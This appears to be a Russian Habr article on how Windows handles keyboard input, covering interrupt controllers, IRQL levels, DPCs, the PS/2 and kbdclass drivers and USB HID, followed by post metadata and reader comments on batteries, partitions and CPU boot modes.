(показаны не все процессы, может немного отличаться от последний версий Windows).<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/webt/ac/9m/l8/ac9ml81aw30xpheyl8ulgv1x8yk.jpeg" data-src="https://habrastorage.org/webt/ac/9m/l8/ac9ml81aw30xpheyl8ulgv1x8yk.jpeg" data-blurred="true"/></div><br/> <h3>Где здесь клавиатура?</h3><br/> Во время запуска ядро Windows считывает из реестра информацию о контроллере системной шины, как правило это шина PCI (реже MSI), к ней подключены контроллеры портов ввода-вывода, в том числе и USB, PS/2. Информация о нём записывается во время установки Windows. Система загружает для него драйвер и рекурсивно обходит все порты так же загружая для каждого из них свой драйвер. Драйвера могут комбинироваться в узлы (<i>driver node</i>), к примеру драйвер клавиатуры, будет соединён с драйвером порта PS2. А вот порт USB сложнее — сначала драйвер порта, потом драйвер для работы с протоколом HID и только потом клавиатура.<br/> <br/> Каждый порт контроллируется своим чипом, который мониторит подключение, принимает/отправляет сигналы между CPU и устройством. Если чип-сет Южный мост не встроен в CPU, как это часто делают в ноутбуках, а существует отдельным чипом на материнке, то правильней говорить: сигнал между Южным мостом и контроллером порта. Чип контроллирующий порт имеет выделенную линию с контроллером прерываний (PIC или APIC), по которой он может попросить обратить на себя внимание CPU, к примеру считать данные от клавиатуры (порт PS/2, с USB другая история). Поскольку ОС загрузила для порта драйвер, она может отдавать ему команды, читать и отправлять данные. В нашем примере был загружен драйвер из <i>C:\Windows\System32\i8042prt.sys</i>. Давайте вспомним <a href="https://habr.com/ru/post/489166/">предыдущую статью</a>. В старых компьютерах с PIC на чипе <i>Intel 8259</i> было 15 линий прерываний, где клавиатура была подключена к ножке IRQ1, таймер IRQ0, а мышка к IRQ12, который на самом деле был пятой ножкой второго чипа 8259, который мультиплексировал свои прерывания через ножку IRQ2 первого контроллера. В современных PIC могут быть 255 контактов для сигналов прерываний. Во время загрузки ОС программирует APIC/PIC возвращать определённое число когда скажем пришло прерывание от порта клавиатуры или USB и по этому номеру CPU находит в<i> таблице векторов прерываний</i> функцию которую надо выполнить. Номер прерываний определяют <i>HAL</i> и <i>Plug’n’Play Manager</i>. Контроллер прерываний ищет сигнал на своих ножках в определённом порядке, к примеру в бесконечном цикле проверяет напряжение на ножках от 1 до MAX_PIN. Этот порядок определяет приоритет, к примеру клавиатура будет замечена раньше мышки, а таймер раньше клавиатуры. Чтобы не зависеть от особенностей работы контроллеров прерываний Windows абстрагирует концепцию <i>IRQ (Interrupt Request)</i> в <i>IRQL (Interrupt Request Level)</i>. Будь у контроллера прерываний хоть 15 хоть 255 линий они все будут отображены на 32 IRQL для x86 и 15 IRQL для x64 и IA64.<div class="scrollable-table"><table> <tr> <td><img src="https://habrastorage.org/r/w780q1/webt/t_/qv/us/t_qvust1xn4vcfd2jdohtuobuyk.jpeg" data-src="https://habrastorage.org/webt/t_/qv/us/t_qvust1xn4vcfd2jdohtuobuyk.jpeg" data-blurred="true"/></td> <td><img src="https://habrastorage.org/r/w780q1/webt/pb/fo/ix/pbfoix2zoiino27wde6kpewiavm.jpeg" data-src="https://habrastorage.org/webt/pb/fo/ix/pbfoix2zoiino27wde6kpewiavm.jpeg" data-blurred="true"/></td> </tr> </table></div>Что означают приоритеты IRQL:<br/> <ol> <li>High – когда происходит краш системы, обычно это вызов функции KeBugCheckEx.</li> <li>Power Fail – не используется. Изначально был придуман для Windows NT.</li> <li>Interprocessor Interrupt – нужен отправить запрос другому CPU на мультипроцессорной системе выполнить действие, например обновить TLB cache, system shutdown, system crash (BSOD).</li> <li>Clock – нужен чтобы обновлять системные часы, а так же вести статистику сколько времени потоки проводят в режиме пользователя и ядра.</li> <li>Profile – используется для real-time clock (local APIC-timer) когда механизм kernel-profiling включен. </li> <li>Device 1 … Device N – прерывания от устройств I/O. Во время прерывания данные от клавиатуры, мыши и других устройств считываются в отдельные буфера и сохраняются в объектах типа DPC (Deferred Procedure Call), чтобы обработать их позже и дать возможность устройствам переслать данные. После приоритет снижается до Dispatch DPC</li> <li>Dispatch DPC — как только данные от устройств получены можно начинать их обрабатывать.</li> <li>APC — <a href="https://docs.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls" rel="nofollow">Asynchronous Procedure Call</a>. Через этот механизм вы можете исполнить код когда поток будет спать вызвав WaitForSingleObject, Sleep и другие.</li> <li>Passive/Low — здесь исполняются все приложения в User Mode.</li> </ol><br/> Если вы всегда программировали в режиме пользователя, то никогда не слышали про IRQL, потому что все пользовательские программы выполняеются с приоритетом Passive/Low (0). Как только происходит событие с б<i>о</i>льшим уровнем приоритета (событие от клавиатуры, таймер планировщика потоков), процессор сохраняет состояние прерванного потока, которое представляет из себя значения регистров CPU, и вызывает диспетчер прерываний (<i>interrupt dispatcher</i>, просто функция), который повышает приоритет IRQL через API <i>KeRaiseIrql </i>в HAL и вызывает непосредственно сам код обработчика (<i>interrupt’s service routine</i>). После этого IRQL CPU понижается до прежнего уровня через функцию <i>KeLowerIrql</i> и прерванный поток начинает обработку с того же места где его прервали. На этом механизме основан <i>планировщик потоков</i>. Он устанавливает таймер, который с определённым интервалом (квант времени) генерирует прерывание с приоритетом DPC/Dispatch (2) и в своей <i>interrupt’s service routine</i> по определённому алгоритму назначает новый поток на исполнение. <br/> <br/> Механизм IRQL реализовывается на уровне софта в Hardware Abstraction Layer (<i>HAL.dll</i>), а не железа. В Windows системах есть драйвер шины (<i>bus driver</i>), который определяет наличие устройств подключенных к шинам – PCI, USB и др. и номера прерываний которые могут быть назначены каждому устройству. Драйвер шины сообщает эту информацию Plug and play manager, который уже решает какие номера прерываний назначить каждому устройству. Далее арбитр прерываний внутри PnP Mgr (<i>PnP interrupt arbiter</i>) устанавливает связи между IRQ и IRQL.<br/> <br/> Когда приходит прерывание от клавиатуры, любой исполняемый в данный момент поток (это может быть ваша программа) назначается на его обработку. Interrupt dispatcher повышает приоритет IRQL CPU до одного из уровней <i>Device1-DeviceN</i>. После этого менеджер виртуальной памяти не сможет найти страницу если она не загружена в RAM (не сможет обработать <i>Page Fault</i>), планировщик потоков не сможет прервать выполнение, потому что они все работают с меньшим уровнем IRQL. Главная задача драйвера клавиатуры в этот момент считать полученные данные и сохранить их для дальнейшей обработки. Данные записываются в объект типа _DPC (<a href="https://ru.wikipedia.org/wiki/DPC" rel="nofollow">Deferred Procedure Call</a>), который сохраняется в список DPC потока (что-то вроде <i>std::list&lt;DPC></i>, в ядре ОС вместо массивов используются связанные списки). Как только прерывания от всех внешних устройств обработаны, IRQL потока понижается до уровня DPC в котором и производится обработка отложенных процедур (DPC). В коде обработчика DPC для клавиатуры вызывается функция из драйвера клавиатуры <a href="https://docs.microsoft.com/en-us/previous-versions/ff542324(v%3Dvs.85)" rel="nofollow">Kbdclass.sys</a>: <br/> <br/> <pre><code class="cpp">VOID KeyboardClassServiceCallback( _In_ PDEVICE_OBJECT DeviceObject, _In_ PKEYBOARD_INPUT_DATA InputDataStart, _In_ PKEYBOARD_INPUT_DATA InputDataEnd, _Inout_ PULONG InputDataConsumed ); </code></pre><br/> Так вот, драйвер клавиатуры (kbdclass.sys) получает данные от порта (USB, PS2) через прерывание и записывает их через <a href="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile" rel="nofollow">WriteFile</a>, компонент внутри ядра Windows просыпается, считывает их используя API <i>ReadFile</i> и добавляет в очередь сообщений с клавиатуры. API для работы с файлом могут использоваться для чтения данных с драйверов. С этого момента начинается обработка данных стеком ввода Windows, об этом в следующей статье.<br/> <br/> Если у вас есть ПК с PS2 портом и вы умеете пользоваться WinDbg в режиме ядра, то можете легко найти обработчик прерываний клавиатуры напечатав команду <i>!idt</i>, которая выведет на экран всю <i>таблицу векторов прерываний</i>. Прерывание вклинивается в ход выполнения программы, слово вектор здесь подразумевает направление, направление исполнения программы. WinDbg был сделан специально для отладки Windows, самая последняя версия называется WinDbgX. Он имеет текстовый интерфейс, который отпугивает людей привыкших к Visual Studio, однако предоставляет гораздо больше возможностей, в частности исполнение скриптов. Прерывание фиолетового порта PS2 выделено красным. Функция которая его обрабатывает называется <i>I8042KeyboardInterruptService</i>, которая находится в файле i8042prt.sys.<br/> <br/> <pre><code class="cpp">BOOLEAN I8042KeyboardInterruptService( IN PKINTERRUPT Interrupt, IN PVOID Context ); Routine Description: This is the interrupt service routine for the keyboard device when scan code set 1 is in use. Arguments: Interrupt - A pointer to the interrupt object for this interrupt. Context - A pointer to the device object. Return Value: Returns TRUE if the interrupt was expected (and therefore processed); otherwise, FALSE is returned. </code></pre><br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/webt/wz/ck/w9/wzckw9pggsvsn0gfphga4vl4t9c.png" data-src="https://habrastorage.org/webt/wz/ck/w9/wzckw9pggsvsn0gfphga4vl4t9c.png"/></div><br/> Сейчас возникает вопрос, откуда у обработчика прерываний аргумент? Кто его передаёт? Ведь CPU ничего не знает о нём. Если поставите в неё breakpoint, то удивитесь ещё больше увидев несколько функций выше по стеку:<br/> <br/> <i>0: kd> kC<br/> # Call Site<br/> 00 i8042prt!I8042KeyboardInterruptService<br/> 01 nt!KiCallInterruptServiceRoutine<br/> 02 nt!KiInterruptSubDispatch<br/> 03 nt!KiInterruptDispatch<br/> 04 nt!KiIdleLoop</i><br/> <br/> Объяснение здесь простое – это не та функция которая сохранена в регистре <i>IDT</i> процессора. То что вы видите на картинке выше на самом деле объекты типа <i>_KINTERRUPT</i>. В таблице прерываний сохранён специальный ассемблерный код (nt!KiIdleLoop), который знает как найти объект описывающий прерывание в памяти. Что же интересного есть в нём? <br/> <ol> <li>Указатель на объект представляющий драйвер в памяти.</li> <li>Указатель на функцию i8042prt!I8042KeyboardInterruptService, которая и вызывает код считывающий данные из порта PS2 через ассемблерную команду IN AL, 0x60 – сохранить значение из порта номер 0x60 в регистре AL.</li> <li>Функция dispatcher – ей передаётся указатель функцию из пункта №2 и она вызывает её.</li> <li>Состояние регистров CPU. Перед вызовом прерывания состояние CPU будет сохранено сюда, и отсюда же будет восстановлено.</li> <li>Приоритет прерывания. Не тот который определяет контроллер прерываний, а тот который Windows считает нужным. Это IRQL (Interrupt Request Level) – абстракция над IRQ.</li> </ol><br/> Как только обработчик прерываний клавиатуры будет вызван, он уведомит драйвер клавиатуры о полученных данных, после чего будет уведомлено ядро ОС, которое обработав данные отправит их дальше по стеку ввода, где они могут быть доставлены приложению, которое на них отреагирует, или перед этим в обработчик языков (азиатские иероглифы, автокоррекция, автозаполнение).<br/> Ядро ОС напрямую не взаимодействует с драйвером клавиатуры, для этих целей используется Plug’n’Play Manager. Этот компонент предоставляет API <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-ioregisterplugplaynotification" rel="nofollow">IoRegisterPlugPlayNotification</a>, который вызовет предоставленную callback-функцию когда устройство будет добавлено или удалено.<br/> <br/> <h3>Пару слов о USB</h3><br/> Ознакомление с работой порта USB потребовало бы отдельной статьи описывающей его работу и плюс описание обработки данных HID на Windows. Это очень сильно усложнило бы материал, к тому же уже есть хорошие статьи по теме, поэтому PS2 идеальный пример из-за своей простоты.<br/> <br/> USB создавался как универсальный порт для всех устройств, будь то клавиатура, фотоаппарат, сканнер, игровой руль с педалями, принтер и пр. Вдобавок он поддерживает вложенность портов – USB материнки => монитор с USB => клавиатура с USB к которой подключена мышка, флешка и USB-hub к которому подключен жёсткий диск. Взглянув на контакты USB 2.0 вы увидите что они не заточены под передачу каких-то определённых данных, как у PS2. Их всего четыре – витая пара для передачи битов данных, плюс и минус питания.<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/webt/a4/po/fg/a4pofgenbf2j5fecifpemzlqjr8.jpeg" data-src="https://habrastorage.org/webt/a4/po/fg/a4pofgenbf2j5fecifpemzlqjr8.jpeg" data-blurred="true"/></div><br/> <i>Провода кабеля USB 2.0</i><br/> <br/> USB 3.0 быстрее за счёт дополнительных пяти контактов. Как видите там нету линии CLOCK для синхронизации, поэтому логика передачи данных сложнее. Слева USB 2.0 и справа USB 3.0 для сравнения.<br/> <div class="scrollable-table"><table> <tr> <td><img src="https://habrastorage.org/r/w780q1/webt/wa/je/yu/wajeyux1l1hfkyjegako54570bg.jpeg" data-src="https://habrastorage.org/webt/wa/je/yu/wajeyux1l1hfkyjegako54570bg.jpeg" data-blurred="true"/></td> <td><img src="https://habrastorage.org/r/w780q1/webt/3e/uj/k-/3eujk-vjjoia_1ku9izzjtlbtgo.jpeg" data-src="https://habrastorage.org/webt/3e/uj/k-/3eujk-vjjoia_1ku9izzjtlbtgo.jpeg" data-blurred="true"/></td> </tr> </table></div>Все данные передаются через протокол <i>HID (Human Interface Device)</i>, который описывает форматы, порядок взаимодействия и передачи данных и всё остальное. Стандарт USB 2.0 занимает 650 страниц, документ <i>HID Class Specification</i>, описывающий работу устройств (мыши, клавиатуры и пр) – 97 страниц, их рекомендуется изучить если вы работаете с USB.<br/> <br/> Первым делом подключенное устройство должно рассказать о себе, для этого оно отправляет несколько структур данных, в которых указывается ID устройства и ID производителя по которым Plug’n’Play manager может найти в реестре информацию, загрузить и соединить драйвера. USB устройства пассивны, т.е. хост должен сам с определённым интервалом проверять наличие данных. Частота опроса и размер пакета данных задаются в одном из дескрипторов устройства USB. Максимальный размер пакета – 64 байта, что для информации о нажатых клавишах более чем достаточно.<br/> <br/> В Windows есть встроенная поддержка HID, она не такая простая как связь драйвера порта PS2 с драйвером клавиатуры, потому что драйвер HID должен уметь обрабатывать все поддерживаемые протоколом сценарии. Вне зависимости от провайдера данных — порты PS2, USB или Remote Desktop или виртуальная машина – на самом верху <i>driver node</i> будет находится Kbdclass, от которого ядро ОС и будет получать информацию. Уведомление о подсоединении клавиатуры будет обрабатываться через <i>Plug’n’Play Manager</i>, так что для ядра Windows не имеет значение какой порт или источник данных от устройства используется.<br/> <br/> <a href="https://habr.com/ru/post/483330/">ч.1 — Основы ОС и компьютера</a><br/> <a href="https://habr.com/ru/post/489166/">ч.2 — Как работает материнская плата и клавиатура через порт PS2</a></div>
Андрей Артемьев (artmv32)
null
null
Мы продолжаем разбираться как работает ПК на примере клавиатуры и Windows 10. В этой статье поговорим о том как происходит единение софта и железа. <br> <br> <h3>Старт системы</h3><br> Полностью компьютер выключен когда он отключен от питания и конденсаторы на материнской плате разрядились. До эры смартфонов мобильные телефоны часто глючили и если перезагрузка не лечила проблему, то приходилось доставать батарею и ждать 10 секунд, потому что сбрасывалось программное состояние ОС, в то время как чипы на материнской плате и контроллеры устройств оставались активными сохраняя состояние, драйвера ОС к ним просто реконнектились. 10 секунд — время на разрядку конденсаторов, состояние чипов сбрасывается только при полном отключении.<br> Если же ПК подключен к розетке или батарее, то он находится в режиме Stand-By, это значит что по шине питания подаётся маленькое напряжения (5В) от которого запитываются некоторые чипы на материнке. Как минимум это <i>системный контроллер</i>, по сути это мини-компьютер запускающий большой компьютер. Получив уведомление о нажатии кнопки Power он просит блок питания/батарею подать больше напряжения и после инициализирует весь чип-сет, в том числе и процессор. Инициализация включает в себя перекачку кода и данных прошивки материнки (<i>BIOS/UEFI</i>) в оперативную память и настройку CPU на её исполнение. <br> Думать что кнопка Power это рубильник который подаёт электричество на CPU и тот начинает исполнять с заранее известного адреса прошивку BIOS неправильно. Возможно старые компьютеры так и работали. Кнопка включения находится на своей плате, вместе со светодиодами состояний и к материнке она подключается через специальный разъём. На картинке ниже видны контакты для кнопки Power, Reset, а также светодиодов с состоянием Power и чтения жёсткого диска. Нажатие кнопки включения переводится в сигнал на контакты материнки, откуда он достигает системный контроллер.<br> <br> <div style="text-align:center;"><img src="https://habrastorage.org/webt/30/d8/uy/30d8uyxzqka3tglmiof8djia6l8.png"></div>
Мы продолжаем разбираться как работает ПК на примере клавиатуры и Windows 10. В этой статье поговорим о том как происходит единение софта и железа. ### Старт системы Полностью компьютер выключен когда он отключен от питания и конденсаторы на материнской плате разрядились. До эры смартфонов мобильные телефоны часто глючили и если перезагрузка не лечила проблему, то приходилось доставать батарею и ждать 10 секунд, потому что сбрасывалось программное состояние ОС, в то время как чипы на материнской плате и контроллеры устройств оставались активными сохраняя состояние, драйвера ОС к ним просто реконнектились. 10 секунд — время на разрядку конденсаторов, состояние чипов сбрасывается только при полном отключении. Если же ПК подключен к розетке или батарее, то он находится в режиме Stand-By, это значит что по шине питания подаётся маленькое напряжения (5В) от которого запитываются некоторые чипы на материнке. Как минимум это системный контроллер, по сути это мини-компьютер запускающий большой компьютер. Получив уведомление о нажатии кнопки Power он просит блок питания/батарею подать больше напряжения и после инициализирует весь чип-сет, в том числе и процессор. Инициализация включает в себя перекачку кода и данных прошивки материнки (BIOS/UEFI) в оперативную память и настройку CPU на её исполнение. Думать что кнопка Power это рубильник который подаёт электричество на CPU и тот начинает исполнять с заранее известного адреса прошивку BIOS неправильно. Возможно старые компьютеры так и работали. Кнопка включения находится на своей плате, вместе со светодиодами состояний и к материнке она подключается через специальный разъём. На картинке ниже видны контакты для кнопки Power, Reset, а также светодиодов с состоянием Power и чтения жёсткого диска. Нажатие кнопки включения переводится в сигнал на контакты материнки, откуда он достигает системный контроллер.
article
1,600,748,801
{ "commentsCount": 57, "favoritesCount": 302, "readingCount": 80384, "score": 44, "votesCount": 46, "votesCountPlus": 45, "votesCountMinus": 1 }
[]
[ "cpp", "system_programming", "win_dev", "hardware" ]
[ "develop", "popsci" ]
[ "системное программирование", "железо", "разработка под windows", "операционные системы" ]
20
null
null
{ "id": [ 22094324, 22094376, 22094510, 22094600, 22094684, 22095574, 22095610, 22095726, 22095948, 22096262, 22096810, 22096816, 22096902, 22096928, 22096942, 22096992, 22097104, 22097112, 22097124, 22097150, 22097162, 22097188, 22097232, 22097268, 22097466, 22097608, 22097856, 22098200, 22098728, 22099186, 22099284, 22099298, 22099302, 22099974, 22100382, 22100392, 22100404, 22100470, 22100566, 22100870, 22100944, 22101184, 22101294, 22101794, 22105480, 22105482, 22105484, 22105508, 22109048, 22109692, 22118246, 22134492, 22138488, 22138526, 22138564, 22219768, 22230904 ], "parent_id": [ null, null, 22094376, 22094510, null, 22094324, 22094600, 22095610, 22095726, null, 22094376, 22094684, null, 22095574, null, null, 22096942, 22096992, 22097104, 22097124, 22097150, 22096928, 22097112, 22097232, 22097232, 22097466, 22095948, 22096902, null, 22097608, 22098728, 22095574, 22099284, 22096992, 22097608, 22096992, 22096902, 22099186, 22100470, 22099186, 22095574, 22099302, 22100870, 22097856, 22099302, null, 22105482, 22105480, 22105508, 22109048, null, 22096992, 22134492, 22138488, 22138526, 22097104, 22219768 ], "level": [ 0, 0, 1, 2, 0, 1, 3, 4, 5, 0, 1, 1, 0, 2, 0, 0, 1, 1, 2, 3, 4, 3, 2, 3, 3, 4, 6, 1, 0, 5, 1, 2, 2, 1, 5, 1, 1, 6, 7, 6, 2, 3, 7, 7, 3, 0, 1, 4, 5, 6, 0, 1, 2, 3, 4, 2, 3 ], "time_published": [ 1600754081, 1600755237, 1600758640, 1600759936, 1600761009, 1600771641, 1600772150, 1600773832, 1600776838, 1600782272, 1600791491, 1600791568, 1600793005, 1600793494, 1600793908, 1600795126, 1600797738, 1600797884, 1600798136, 1600798600, 1600798773, 1600799575, 1600800902, 1600801413, 1600805434, 1600809864, 1600831433, 1600842723, 1600848600, 1600852722, 1600854032, 1600854088, 1600854129, 1600862534, 1600868285, 1600868433, 1600868617, 1600869509, 1600870927, 1600875968, 1600877700, 1600882901, 1600884949, 1600900753, 1600975938, 1600975951, 1600975959, 1600976408, 1601047811, 1601061167, 1601305221, 1601627222, 1601710889, 1601711395, 1601712029, 1603468891, 1603769300 ], "score": [ 4, -2, 3, 0, 2, 0, 3, 1, 1, 0, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 2, 0, 2, 0, 0, 0, 0, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 1, -1, -1, 0, 1, 0, 0, 0, 0, 1, 0 ], "votes": [ 4, 12, 3, 2, 4, 0, 3, 1, 1, 0, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 2, 0, 2, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>возле круглой батарейки, которая на самом деле является литиевым аккумулятором, подзаряжающимся во время работы ПК</blockquote>В старых материнках возможно это и был аккумулятор. В современных это литиевая <u>батарейка</u>. И никогда не пытайтесь ее заряжать, иначе скорее всего будет небольшой ба-бах, а с учетом того что крышка может отлететь в любую сторону, то могут быть и травмы некоторых частей тела, например глаз.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если с таким пониманием железа человек является <blockquote>Windows Kernel Developer</blockquote>, ничего удивительного в постоянных глюках. Четырёх основных партиций им мало, 2,2 ТБ им мало. Зачем винде больше партиций, если только в Свисте появился скрытый системный раздел, а по дефолту оно занимает весь доступный объём? В некоторых случаях переустановки системным становится даже выделенный под /user. Не говоря о том, что обновления запихивали туда же неудаляемую обычными методами временную и скрытую папку с длинным непроизносимым наименованием. Такое впечатление, что поведение и развитие ОС уже неподвластно невелоперам. Понимание закончилось где-то после ХР, последнее что могли объяснить была вообще 98. Наслоили сэндвичи, осталось смузи полить.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>вы видели число разделов в андроиде ?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Видел. А Вы знаете, по какой причине это сделано?<br/>\r\nИ реплика была в ответ на сетования про несовершенство классического BIOS.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Стиль изложения у статью такой что есть<br/>\r\nОщущение что прочитал какую то книгу типа Windows 2000 для новичков.<br/>\r\nИли Компьютер для чайников (Windows 2000).<br/>\r\nих тех самых времён :D</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В старых материнках аккумуляторы были никелевые. В более новых — литиевые батарейки(не аккумуляторы). При попытке зарядки литиевой батареи небольшим током — ничего страшного не случится.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>по какой? расскажите. И про необходимость всего этого безумия с a/b, sar, boot ramdisk, recovery ramdisk, hybrid ramdisk, super раздел, retrofit. На фоне тонны разделов от вендора bsp, дополненных фантазиями OEM/ODM.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Recovery image — чтобы при неудачной установке ядра всегда можно было загрузить устройство хоть в какой-то режим. Бонусом — возможность вынести функционал восстановления из основного образа. Устройства, где recovery и kernel были в одном разделе, иногда умирали крайне не вовремя. И с кучей танцев для их оживления.<br/>\r\nA/B — чтобы установка обновлений была быстрой, незаметной и имела возможность отката при проблемах.<br/>\r\nSAR — чтобы не плодить действительно лишние разделы, поскольку у нас и так есть неизменяемый system. Аналогично делают и в современных линуксах — никто не делит уже диск на / и /usr.<br/>\r\nЦирк с разными ramdisk пошёл уже от разных вендоров, которые считают, что они знают лучше. При этом сам ramdisk стал обязателен из-за того, что разделы для системы теперь динамические (чтобы не возникало старых проблем, когда новая версия android не помещается в заранее заданный раздел).<br/>\r\nОтдельный раздел под телефонный софт/прошивку/настройки — просто чтобы не трогать эту часть при обновлении системы и отделить от основной части.<br/>\r\nЧасть производителей даёт ещё раздел /vendor или /preload, чтобы вынести туда свой софт, который устанавливается при первом запуске в зависимости от текущего региона/оператора. Нужно, поскольку софт из /system будет считаться установленным всегда.<br/>\r\nНичего не скажу про \"retrofit\" или \"super раздел\", слышу о них впервые.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Я знаю зачем они. Спрашивал про необходимость вести эволюцию именно таким путем. После этой чехарды жаловаться на служебный раздел у висты это просто смешно. Ну и интересно услышать про остальные разделы, коих наберется пара десятков. Так ли уж все они необходимы, и если да, почему у разных вендоров настолько разные наборы<br/>\r\nзы: я читал внутреннюю документацию qualcomm, например. Поэтому ЧТО лежит в разделе мне не интересно. Мне интересно ЗАЧЕМ.)</p><br/>\r\n<p>super — для поддержки динамических разделов<br/>\r\nretrofit — когда способ загрузки изменяется с течении жизни девайса</p><br/>\r\n<p>вот тут подробнее <a href=\"https://topjohnwu.github.io/Magisk/boot.html\">https://topjohnwu.github.io/Magisk/boot.html</a></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Парни, вы сначала определитесь с «батарейкой» и уясните, что в батарею можно набрать как химические неподзаряжаемые элементы питания, так и аккумуляторы. <br/>\r\nИ где глазастый <a href=\"https://habr.com/ru/users/screwer/\" class=\"user_link\">screwer</a> <s>хейтер</s> увидел жалобу на служебный раздел? Жаловался автор третьей порции на нехватку партиций «устарелым BIOS».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Windows Kernel Developer — это не только про драйвера устройств, это про операционную систему в принципе. Windows уже давно не стартап в котором каждый разработчик это человек-оркестр. Разделением диска на разделы занимается другая команда.<br/>\r\nЧем конкретно вам доставляют неудобства эти особенности реализации?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Windows Internals гораздо сложнее и объёмнее, плюс здесь инфа из других источников соединённая вместе.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Максимум 4 раздела,<b> каждый из который может быть расширенным</b> (extended partition), такой можно рекурсивно делить на 4 раздела и теоретически их число не ограничено</blockquote><br/>\r\nМожет всё-таки <i>один</i> расширенный изначально? Или все, кто говорит что максимум 3 primary и 1 extended — неправы?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">еще бы уточнить размер этого небольшого тока заряда, который не повредит батарейке. Подозреваю что около микроампера, то есть никакой.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а что это за пассаж с Nvidia 2070 S и несовместимым разъемом на материнке из-за которого надо вставлять скрепку на PS-ON или покупать новую материнку?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote> Процессор начинает свою работу в режиме который называется «Реальный». Это режим совместимости, в нём CPU работает так же как и старые 16-bit процессоры...</blockquote><br/>\r\nЯ конечно не специалист в это деле (меня интересует UNIX железо на <u>не</u>-x86 процессорах), но как-то с трудом верится что в 2020 году, более 40 лет спустя появления 8086, современные x86 процессоры до сих пор стартуют в 16-разрядном режиме. Это такой вариант с/м для итшников? Зачем в 2020 году стартовать в этом режиме, когда BIOS уже давно мертва и когда до выполнения первой команды процессором работает тот самый системный контроллер, который может и процессор, и память и чипсет сконфигурировать как производителю захочется?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Прикладная иллюстрация как блок питания получает сигнал от материнки на включение.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это цитата из раздела описывающего загрузку на BIOS, на современных компьютерах стоит UEFI, поэтому CPU начинает работу в своей родной разрядности.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">тогда стоило бы вставить это пояснение перед тем абзацем, чтобы не искать второй и третий скрытый смысл. Не бежать гуглить ATX12VO и Nvidia 12pin и размышлять что стало с материнками и видяшками</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Подкорректировал.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">осталось нераскрытым почему «разъёмы материнки будут не совпадать с разъёмами БП»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">К слову открывал новый сервер Lenovo и удивился увидев несколько больших ионисторов. Правда для другой цели — похоже на питание SSD, а не часы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В разрядности UEFI. Потому что мерзкие машинки с 32-бит UEFI на х64 процессоре есть в природе.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я не знал, спасибо за инфу</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ага, так в каком же режиме процессор начинает работать после сброса? Это как-то конфигурируемо? Или он всё-таки сбрасывается в 16 разрядов, а потом 32-разрядная UEFI переводит его в 32 разряда, а 64-разрядная UEFI а 64?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">То, что вы цитировали из статьи в первом сообщении ветки относится к состоянию <i>перед загрузкой</i> ОС, как я понял статью. Если именно сразу после сброса/включения, то <blockquote>сбрасывается в 16 разрядов, а потом 32-разрядная UEFI переводит его в 32 разряда, а 64-разрядная UEFI а 64?</blockquote> и потом грузится ОС, да. Насколько я знаю это не настраиваемо, и одинаково для всех x86, даже для этого <a href=\"https://ru.wikipedia.org/wiki/Intel_Quark\">ru.wikipedia.org/wiki/Intel_Quark</a><br/>\r\nЕсли что, старые BIOS (ну не 80-х годов) тоже почти сразу переходили в 32-разрядный режим при старте компьютера, и только перед загрузкой ОС прыгали обратно в 16.<br/>\r\n<br/>\r\nНу вообще с этой стороны всё это фигня, современные ОС давно не полагаются на BIOS, имеют свои драйверы и умеют переключать процессор куда им надо. На UEFI насколько я знаю тоже не полагаются.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>По ссылке нет слова super, да и \"retrofitted\" используется как обычный глагол, а не как термин без перевода.<br/>\r\nПопробуйте предложить свой вариант эволюции, чтобы сохранять атомарность обновлений и не пихать всё в одну кучу?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>ЕМНИП extended partition могло быть и больше одной, другое дело, что это было нецелесообразно — по факту extended partition это оверхэд над логическими дисками в ней, и естественно его минимизировать.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Про 300$ и несовместимые разъемы это что вообще, после даже читать не стал. Вы давно покупали материнскую плату? 100$ Средняя мать от асуса на Bxxx чипсете. Можно и за 60$, но сильно порезанную, а за 300 это где вы такую нашли?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо, именно это я и хотел выяснить. 